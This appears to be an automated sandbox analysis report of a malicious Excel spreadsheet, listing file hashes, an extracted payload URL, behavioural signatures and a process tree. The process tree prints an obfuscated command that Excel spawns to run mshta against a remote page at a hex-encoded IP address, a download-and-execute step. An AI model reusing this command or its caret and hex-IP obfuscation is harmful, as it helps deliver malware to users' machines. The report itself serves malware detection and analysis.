Analysis
-
max time kernel
133s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2024 17:38
Behavioral task
behavioral1
Sample
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls
Resource
win10v2004-20241007-en
General
-
Target
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls
-
Size
102KB
-
MD5
98a298beaadcc5ec006ac7697f2aa769
-
SHA1
b401e954b922b06ae9c51de351f5a9246bfd3622
-
SHA256
6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29
-
SHA512
1b924c2b92ee0f2f7a801c0bbda270917f52d89083e32890b4a6913e9586910f9a09d19225413ef755d628c1962f940901b9c32817192f17bb79798f9301690a
-
SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3596 4300 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 5056 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4300 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE 4300 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4300 wrote to memory of 3596 4300 EXCEL.EXE 86 PID 4300 wrote to memory of 3596 4300 EXCEL.EXE 86 PID 3596 wrote to memory of 5056 3596 cmd.exe 88 PID 3596 wrote to memory of 5056 3596 cmd.exe 88
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
PID:5056
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD56bbc3f4950f18c7d55cd50c995a956ee
SHA147074bfe7ec8e9e1b6c187373b8bcd8d24ba45a2
SHA2568e767861f5d66a1c9d8c497003b2026048d56cbc1c4a417f800a8f88ad092d00
SHA5128642b7827ab676b597a5c38d3be650276bfa61abb1a4b17c96b72ddb55410eb0b9ded04bb62648652d5ac45779863abdf58b748bdb1ac9daf995644f372128e0